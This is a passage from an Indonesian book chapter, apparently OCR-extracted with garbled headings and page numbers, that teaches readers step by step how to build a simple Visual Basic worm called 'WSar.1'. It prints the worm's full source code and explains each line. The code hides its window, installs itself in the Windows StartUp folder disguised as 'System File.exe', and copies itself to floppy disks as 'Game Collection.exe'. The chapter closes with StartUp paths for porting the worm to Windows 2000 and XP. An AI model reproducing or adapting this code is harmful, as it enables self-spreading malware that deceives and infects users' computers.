Sebagai persiapan awal untuk membuat suatu worm, virus atau
malcode lain, ada beberapa ketentuan yang harus diperhatikan:
1. Jika memungkinkan, sangat disarankan untuk menggunakan kom-
puter tersendiri yang khusus digunakan untuk keperluan ini, dan
tidak digunakan oleh banyak orang
2. Gunakan program pembantu seperti Shad-
owUser atau DeepFreeze,. Program ini akan
membatalkan setiap perubahan yang dilaku-
kan bahkan perubahan yang terjadi pada
boot sector, sehingga walaupun partisi pada
harddisk tak sengaja terformat oleh worm,
hanya dengan me-restart komputer maka
segalanya akan kembali seperti semula.
Program ini hanya mengembalikan perubahan pada saat komputer
di restart, jadi jika ternyata perlu me-restart komputer untuk melihat
efek perubahan dari suatu worm, maka cukup dengan melakukan
Log Off dan kemudian Log In kembali, karena proses ini akan men-
imbulkan efek yang sama dengan restart komputer.
Untuk program DeepFreeze disarankan agar membuat partisi lebih
dari satu, misalnya dengan membuat dua partisi dimana partisi
C: sebagai drive System Windows dan partisi D: sebagai drive data,
kemudian instalkan DeepFreeze hanya pada drive C: saja sehingga
data source code yang tersimpan pada drive D: tidak terganggu oleh
DeepFreeze. Sementara untuk program ShadowUser lebih fexibel.
Anda tinggal menentukan folder apa saja yang ingin dibebaskan
dari proteksi
105
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
3. Gunakan program pembantu seperti
Virtual PC atau VMWare,. Program ini
akan mensimulasikan suatu komputer
maya sekaligus dengan jaringannya.
Kita dapat membuat suatu lab komputer
dengan sistem operasi yang berbeda
sekaligus.
Keuntungan lain ternyata kita bisa
membuat clonning dari suatu komputer
virtual, sehingga apabila system suatu komputer virtual sudah
tidak bisa diselamatkan lagi, kita dapat mengganti baru dengan
backup clonning yang sudah kita siapkan. Lagi pula kita tidak perlu
berpindah-pindah tempat untuk mengoperasikannya.
Penulis juga menyarankan agar menggunakan aplikasi Visual Basic 6.0
Enterprise, karena untuk versi lain seperti Visual Basic 6.0 Learning
Edition penulis menemukan batasan-batasan dan ada fasilitas yang
tidak bisa digunakan.
I.1 N08H 088 1
Suatu worm dasar dapat dipandang sebagai satu set instruksi berisi
sedikitnya tiga sub-rutin yang terpasang.
Sub-rutin yang pertama berfungsi untuk melakukan penularan
dengan cara membuat clonning (salinan) dirinya sendiri pada
suatu system komputer, media penyimpanan atau melalui suatu
jaringan.
Sub-rutin yang kedua berfungsi sebagai live defender (rutin untuk
bertahan hidup), yang akan memastikan suatu worm tetap eksis
pada suatu host system
Sub-rutin yang ketiga berfungsi sebagai pengatur payload (muatan
maksud tertentu) yang mendikte suatu tindakan untuk dieksekusi.
Payload ini pada teorinya bisa berupa apa saja seperti menghapus
data, memasang backdoor atau memformat harddisk. Sub-rutin
pelengkap lainnya bisa saja sebagai penentu kapan payload tersebut
dilakukan.
108
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
I..t |008|H
Worm ini bernama WSar.1 (worm dasar 1) yang menggunakan icon
dengan gambar sebuah folder dan nama yang unik agar menarik minat
user untuk mengeksekusinya, merupakan worm yang sangat sederhana
sekali, sehingga hanya dapat menginfeksi sistem operasi Windows 9x
dan ME yang terinstal secara default pada drive C. WSar.1 memiliki
rutin-rutin yang akan melakukan tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada
system komputer
2. Jika worm tidak mendapatkan eksistensinya maka worm akan
melakukan reproduksi dengan menciptakan salinan dirinya pada
direktori StartUp pada Startmenu
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket
pada drive A
4. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.1
Ada Pada Komputer Anda" dan menghentikan segala aktiftas
worm pada hari tersebut.
I.8 P|H8008HN
Buka aplikasi Visual Basic.
Pada kotak dialog New
Project klik icon Standard
EXE pada tab New dan klik
Open, untuk menampilkan
kotak dialog New Project
bisa dengan klik File pada
menubar kemudian pilih
New Project.
10I
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Visual basic
secara otomatis
member i kan
sebuah project
dengan nama
default Project1
dan sebuah
form di dalam-
nya dengan
nama default
Form1.
Sebagai langkah pertama, aturlah
Project Properties dengan mengklik
kanan nama project pada jendela
Project Explorer yang dalam hal
ini nama project masih bernama
Project1, kemudian klik 'Project1
Properties
108
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Akan tampil kotak dialog Project Properties dan berada pada tab
General.
Ganti Project Name dari
nama Project1 menjadi
nama worm yaitu: WSar.
Dalam pengisian Project
Name, tidak boleh meng-
gunakan spasi, tanda
titik, tanda koma atau
karakter spesial lainnya.
Untuk melanjutkan pin-
dah ke menu Make den-
gan mengklik tab Make.
Ganti Application Title dari nama Project1 menjadi nama worm yaitu:
WSar.1 kemudian hapus value untuk setiap Type pada frame Version
Information, terutama untuk Type Company Name.
Tentunya Anda tidak
ingin nama perusahaan
tempat Anda bekerja
menjadi terkenal oleh
worm ini bukan ?
Jika value yang dihapus
ternyata kembali saat
project di-load Anda
bisa menghapusnya
lagi dan menambahkan
sebuah karakter spasi.
Kemudian pindah ke
menu Compile dengan
mengklik tab Compile.
108
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Pilih opsi Compile to
P-Code. Opsi ini akan
membuat program yang
dihasilkan berukuran
lebih kecil daripada meng-
gunakan opsi Compile
to Native Code. Akhiri
dengan menekan tombol
OK.
Langkah kedua adalah mengatur
properties pada form, dengan
mengklik nama form pada jendela
Project Explorer.
Dalam hal ini, nama form masih
bernama Form1, secara otomatis
segala properti pada Form1 akan
ditampilkan pada jendela Proper-
ties. Anda juga bisa meng-klik
ComboBox pada jendela Properties
dan pilih object Form1.
110
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Kemudian atur jenis properti berikut ini pada Form1:
Jenis Nilai Keterangan
Name frmWSar1 Mengatur nama form menjadi frmWSar1
Icon (Icon) Pilih icon yang akan digunakan pada
form, WSar.1 menggunakan icon folder.
ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
Langkah ketiga adalah menambahkan object Timer pada form yang
bertujuan untuk melakukan perulangan terhadap instruksi tertentu
tanpa memerlukan suatu interaksi oleh user.
Untuk itu klik ganda object Timer pada toolbox yang akan membuat
sebuah object Timer dengan nama default Timer1, kemudian atur jenis
properti berikut ini pada Timer1:
Jenis Nilai Keterangan
Name tmrWSar Mengatur nama Timer menjadi tmrWSar
Enable True Pastikan Timer akan aktif saat form di-load
Interval 60000 Setiap instruksi pada procedure Timer akan
dieksekusi setiap 1 menit
Langkah keempat adalah mengetikan kode program worm. Untuk itu
klik ganda bidang form hingga jendela Code Editor tampil dengan
langsung membuat
suatu sub 'Form Load.
Anda juga bisa meng-
klik nama form pada
jendela Explorer, klik
tombol View Code
kemudian klik Com-
boBox Object pada
Code Editor dan pilih
Form, klik ComboBox
Event dan pilih Load.
111
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Ketik kode program berikut ini:
'WSar.1 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia
Option Explicit On
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance = True Then End
If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _
"em File.exe")) = 0 Then
FileCopy(WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _
"tUp\System File.exe")
End If
If App.Path = "A:\" Or App.Path = "B:\" Then
Unload(Me)
End If
End Sub
Private Sub tmrWSar_Timer()
On Error Resume Next
If Len(Dir$("A:\Game Collection.exe")) = 0 Then
FileCopy(WormFile, "A:\Game Collection.exe")
End If
If Day(Now) = 13 And Month(Now) = 10 Then
MsgBox("WSar.1 Ada Pada Komputer Anda")
Unload(Me)
End If
End Sub
Private Function WormFile()
Dim WPath, WName As String
WPath = App.Path
If Right(WPath, 1) <> "\" Then
WPath = WPath & "\"
End If
WName = App.EXEName & ".exe"
WormFile = WPath & WName
End Function
11t
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Berikut penjelasan tentang kode program:
'WSar.1 by Achmad Darmal
'Tarakan, Kalimantan Timur Indonesia
Option Explicit
Dua baris teratas adalah baris komentar, diawali dengan single quote.
Biasanya digunakan untuk memberi keterangan tentang program atau
apapun yang ingin programmer sampaikan kepada pengguna kode
tersebut. Statement Option Explicit pada baris ketiga memastikan agar
seluruh variabel dideklarasikan.
Private Sub Form_Load()
Baris ini menandakan awal dari sebuah procedure, dalam hal ini
adalah procedure yang akan dikerjakan pada event Form_Load, suatu
kejadian saat form diaktifkan untuk pertama kali atau sesaat sebelum
ditampilkan.
On Error Resume Next
Statement ini akan sangat berguna apabila terjadi suatu kesalahan,
karena program akan mengacuhkan kesalahan tersebut dan kemudian
mengakses instruksi setelahnya.
If App.PrevInstance = True Then End
Jika fle aplikasi yang sama sudah berjalan maka akhiri proses pengek-
sekusian fle tersebut. Statement ini berguna untuk mencegah suatu fle
aplikasi yang sama dieksekusi lebih dari satu kali.
If Len(Dir$("C:\WINDOWS\Start Menu\Programs\Star" & _
"tUp\System File.exe")) = 0 Then
Jika banyak karakter dalam pencarian "C:\WINDOWS\Start Menu\
Programs\StartUp\System File.exe" adalah 0 (nol) maka fle tersebut
tidak ditemukan (sebaliknya akan menghasilkan nilai 15 jika fle terse-
but ditemukan. Nilai 15 berasal dari jumlah karakter pada nama fle),
maka
118
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
FileCopy WormFile, "C:\WINDOWS\Start Menu\Prog" & _
"rams\StartUp\System File.exe"
FileCopy adalah function untuk membuat salinan suatu fle. WormFile
mewakili nama main fle (fle utama) yang terproses. WormFile adalah
suatu function untuk mendapatkan full path (alamat penuh) fle utama,
Sedangkan "C:\WINDOWS\StartMenu\Programs\StartUp\System
File.ex e" adalah lokasi dan nama fle untuk tujuan penyalinan fle,
If App.Path = "A:\" Or App.Path = "B:\" Then
Unload Me
End If
Jika path fle utama pada drive A atau pada drive B maka akhiri aplikasi.
Statement ini bertujuan untuk mencegah fle worm yang berada pada
disket bertahan di memory. Hal ini sebaiknya juga dilakukan untuk
setiap removable disk, seperti disket dan usb disk. Akhirnya, End If
digunakan untuk menutup statement If sebelumnya.
End Sub
Statement End Sub berfungsi untuk mengakhiri procedure
Form_Load.
Private Sub tmrWSar_Timer()
On Error Resume Next
If Len(Dir$("A:\Game Collection.exe")) = 0 Then
FileCopy(WormFile, "A:\Game Collection.exe")
End If
If Day(Now) = 13 And Month(Now) = 10 Then
MsgBox("WSar.1 Ada Pada Komputer Anda")
Unload(Me)
End If
End Sub
Memulai suatu procedure baru terhadap object tmrWSar (Timer), men-
gacuhkan error apabila terjadi dan mengeksekusi instruksi setelahnya.
Jika fle "A:\Game Collection.exe" tidak ditemukan maka meng-copy
fle utama ke drive A dengan nama "Game Collection.exe".
Jika tanggal sekarang adalah 13 dan bulan sekarang adalah 10 (Okto-
111
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
ber) maka tampilkan pesan "WSar.1 Ada Pada Komputer Anda" serta
bersihkan worm dari memory, sehingga untuk hari tersebut worm
tidak akan melakukan aktiftas apapun.
Private Function WormFile()
Dim WPath, WName As String
WPath = App.Path
If Right(WPath, 1) <> "\" Then
WPath = WPath & "\"
End If
WName = App.EXEName & ".exe"
WormFile = WPath & WName
End Function
Function WormFile dibuat untuk mendapatkan path penuh fle utama,
dimulai dengan pendeklarasian WPath untuk lokasi dan WName
untuk nama fle, kemudian menentukan lokasi fle utama dengan func-
tion App.Path dan menyimpannya dalam variabel WPath..
Jika satu karakter disebelah kanan nilai variabel WPath tidak sama
dengan "\" maka nilai variabel WPath ditambahkan karakter "\" di-
belakangnya, kemudian mengatur nilai variabel WName dengan nilai
berupa nama fle utama yang didapat dari function App.EXEName.
Karena nama fle yang didapatkan dari function ini belum memiliki
ekstensi, maka ditambahkan string ".exe" dibelakangnya, menandakan
fle tersebut adalah fle executable.
Langkah kelima adalah meny-
impan project yang telah sele-
sai dibuat, dengan meng-click
File pada menubar kemudian
pilih Save Project.
115
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Kemudian akan tampil
kotak dialog Save File
As, yang berfungsi
untuk menyimpan form,
module dan sebagainya
yang akan disimpan.
Tentukan suatu folder
atau buat folder baru
dengan mengklik tombol
New Folder.
Berikutnya akan tampil kotak
dialog Save Project As, yang
berfungsi untuk menyimpan
project secara keseluruhan.
Langkah terakhir
adalah mengkom-
pilasi project
menjadi suatu fle
executable. Untuk
itu klik File pada
menubar, kemu-
dian dalam hal ini
klik Make WSar.
Exe yang akan
me n a mp i l k a n
kotak dialog Make
Project,
118
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
Isi TextBox File name dengan nama File Exe yang akan dibuat yang
dalam contoh ini bernama WSar.exe. Pilih direktori tempat fle tersebut
akan diletakkan. Klik OK untuk memulai proses kompilasi.
Catatan untuk WSar.1 : untuk lokasi direktori StartUp pada Windows
2000 dan XP secara default adalah sebagai berikut:
1. C:\Documents and Settings\Administrator\Start Menu\ Pro-
grams\startup
2. C:\Documents and Settings\All Users\Start Menu\Progra ms\
startup
3. C:\Documents and Settings\Default User\Start Menu\ Programs\
startup

You might also like